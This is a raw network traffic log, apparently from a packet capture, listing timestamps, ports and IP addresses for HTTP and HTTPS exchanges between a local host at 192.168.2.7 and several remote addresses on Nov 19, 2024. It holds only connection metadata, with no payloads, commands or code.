Nov 19, 2024 20:05:50.614989042 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.614989042 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.614989042 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.614989042 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.614989042 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.615044117 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.615056038 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.615067005 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.615077972 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.615082026 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.615097046 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.615111113 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.615130901 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.615130901 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.615130901 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.615165949 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.615346909 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.615360022 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.615371943 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.615385056 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.615398884 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.615410089 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.615422964 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.615436077 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.615453005 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.615464926 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.615484953 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.615498066 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.615499020 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.615499020 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.615499020 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.615499020 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.615499020 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.615499020 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.615510941 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.615525007 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.615535975 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.615643978 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.615657091 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.615667105 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.615679026 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.615704060 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.615715981 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.615726948 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.615737915 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.615737915 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.615737915 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.615737915 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.615737915 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.615737915 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.615741968 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.615756035 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.615760088 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.615768909 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.615782022 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.615796089 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.615808964 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.615822077 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.615833044 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.615847111 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.615859985 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.615864038 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.615864038 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.615864038 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.615864038 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.615864038 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.615875959 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.615883112 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.615931034 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.616132021 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.616146088 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.616158009 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.616169930 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.616189957 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.616200924 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.616327047 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.616327047 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.616327047 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.616327047 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.644033909 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.644053936 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.644068003 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.644102097 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.644123077 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.644134998 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.644148111 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.644227982 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.644239902 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.644246101 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.644258976 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.644280910 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.644280910 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.644280910 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.644280910 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.644349098 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.644360065 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.644380093 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.644392967 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.644404888 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.644416094 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.644428968 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.644448042 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.644470930 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.644470930 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.644470930 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.644470930 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.644470930 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.644644976 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.644656897 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.644668102 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.644680023 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.644691944 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.644699097 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.644699097 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.644699097 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.644707918 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.644721985 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.644737005 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.644794941 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.644808054 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.644808054 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.644808054 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.644874096 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.644912958 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.644925117 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.644934893 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.644947052 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.644958019 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.644968987 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.644979954 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.644993067 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.645004988 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.645018101 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.645049095 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.645049095 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.645049095 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.645049095 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.645049095 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.645168066 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.645179033 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.645231962 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.645246029 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.645257950 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.645286083 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.645286083 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.645286083 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.645345926 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.645370960 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.645382881 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.645394087 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.645406008 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.645417929 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.645452976 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.645452976 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.645452976 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.645611048 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.645623922 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.645634890 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.645641088 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.645658016 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.645670891 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.645684004 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.645694971 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.645735025 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.645735025 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.645735025 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.645735025 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.645735025 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.702069044 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.702088118 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.702110052 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.702121973 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.702132940 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.702145100 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.702162027 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.702199936 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.702234983 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.702248096 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.702269077 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.702280045 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.702291965 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.702331066 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.702368021 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.702369928 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.702369928 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.702369928 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.702369928 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.702378035 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.702390909 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.702404022 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.702416897 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.702430964 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.702470064 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.702480078 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.702490091 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.702490091 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.702490091 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.702523947 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.702534914 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.702553034 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.702589035 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.702589035 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.702589035 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.702589035 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.702629089 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.702641010 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.702652931 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.702667952 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.702682018 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.702721119 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.702721119 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.702721119 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.702721119 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.702754974 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.702764034 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.702775002 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.702785969 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.702822924 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.702822924 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.702840090 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.702852964 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.702863932 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.702896118 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.702896118 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.702939034 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.702970982 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.702981949 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.702992916 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.703006029 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.703008890 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.703018904 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.703030109 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.703042984 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.703077078 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.703077078 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.703077078 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.703109980 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.703121901 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.703141928 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.703154087 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.703166008 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.703233957 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.703233957 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.703233957 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.703278065 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.703290939 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.703330040 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.703346014 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.703363895 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.703363895 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.703468084 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.703480959 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.703490973 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.703500986 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.703505993 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.703512907 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.703526020 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.703538895 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.703581095 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.703593016 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.703604937 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.703617096 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.703617096 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.703617096 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.703617096 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.703617096 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.703629017 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.703641891 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.703701019 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.703712940 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.703723907 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.703737020 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.703737020 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.703737020 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.703737020 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.703804970 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.703804970 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.705409050 CET	64150	443	192.168.2.7	51.132.193.105
Nov 19, 2024 20:05:50.705456018 CET	443	64150	51.132.193.105	192.168.2.7
Nov 19, 2024 20:05:50.705513954 CET	64150	443	192.168.2.7	51.132.193.105
Nov 19, 2024 20:05:50.706167936 CET	64150	443	192.168.2.7	51.132.193.105
Nov 19, 2024 20:05:50.706182003 CET	443	64150	51.132.193.105	192.168.2.7
Nov 19, 2024 20:05:50.708566904 CET	443	52541	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:50.708602905 CET	443	52541	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:50.708870888 CET	52541	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:50.708885908 CET	443	52541	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:50.708992958 CET	443	52541	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:50.709058046 CET	52541	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:50.712671041 CET	443	52542	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:50.712709904 CET	443	52542	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:50.712748051 CET	443	52542	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:50.712771893 CET	52542	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:50.712857962 CET	52542	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:50.714577913 CET	443	52540	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:50.715622902 CET	443	52540	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:50.715707064 CET	52540	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:50.716274977 CET	64151	443	192.168.2.7	51.132.193.105
Nov 19, 2024 20:05:50.716319084 CET	443	64151	51.132.193.105	192.168.2.7
Nov 19, 2024 20:05:50.716381073 CET	64151	443	192.168.2.7	51.132.193.105
Nov 19, 2024 20:05:50.717324018 CET	64151	443	192.168.2.7	51.132.193.105
Nov 19, 2024 20:05:50.717335939 CET	443	64151	51.132.193.105	192.168.2.7
Nov 19, 2024 20:05:50.728708029 CET	52541	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:50.728708029 CET	52541	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:50.728725910 CET	443	52541	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:50.728734016 CET	443	52541	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:50.730772972 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.730840921 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.730853081 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.730868101 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.730916977 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.730930090 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.730941057 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.730983973 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.730986118 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.730986118 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.730986118 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.730997086 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.731009007 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.731036901 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.731036901 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.731038094 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.731081963 CET	52542	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:50.731098890 CET	443	52542	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:50.731103897 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.731116056 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.731127977 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.731142044 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.731154919 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.731175900 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.731175900 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.731175900 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.731206894 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.731249094 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.731292963 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.731303930 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.731327057 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.731334925 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.731334925 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.731334925 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.731343985 CET	80	52448	185.215.113.206	192.168.2.7
